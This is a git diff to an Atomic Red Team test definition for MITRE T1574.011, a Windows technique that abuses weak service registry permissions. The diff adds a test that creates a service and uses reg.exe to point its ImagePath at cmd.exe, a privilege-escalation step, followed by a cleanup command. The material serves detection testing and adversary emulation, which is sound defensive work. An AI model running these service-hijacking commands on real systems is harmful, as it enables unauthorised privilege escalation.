diff --git a/atomics/T1574.011/T1574.011.yaml b/atomics/T1574.011/T1574.011.yaml index 1699ec27..2d13e804 100644 --- a/atomics/T1574.011/T1574.011.yaml +++ b/atomics/T1574.011/T1574.011.yaml @@ -4,7 +4,7 @@ atomic_tests: - name: Service Registry Permissions Weakness auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a description: | - Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg. + Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg. reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /v ImagePath /d "C:\temp\AtomicRedteam.exe" supported_platforms: - windows @@ -17,4 +17,37 @@ atomic_tests: command: | get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL - name: powershell \ No newline at end of file + name: powershell +- name: Service ImagePath Change with reg.exe + auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827 + description: | + Change Service registry ImagePath of a bengin service to a malicious file + supported_platforms: + - windows + input_arguments: + weak_service_name: + description: weak service name + type: String + default: calcservice + weak_service_path: + description: weak service path + type: String + default: '%windir%\system32\win32calc.exe' + malicious_service_path: + description: malicious service path + type: String + default: '%windir%\system32\cmd.exe' + dependency_executor_name: powershell + dependencies: + - description: | + The service must exist (#{weak_service_name}) + prereq_command: | + if (Get-Service #{weak_service_name}) {exit 0} else {exit 1} + get_prereq_command: | + sc.exe create #{weak_service_name} binpath= "#{weak_service_path}" + executor: + command: | + reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}" + cleanup_command: | + sc.exe delete #{weak_service_name} + name: command_prompt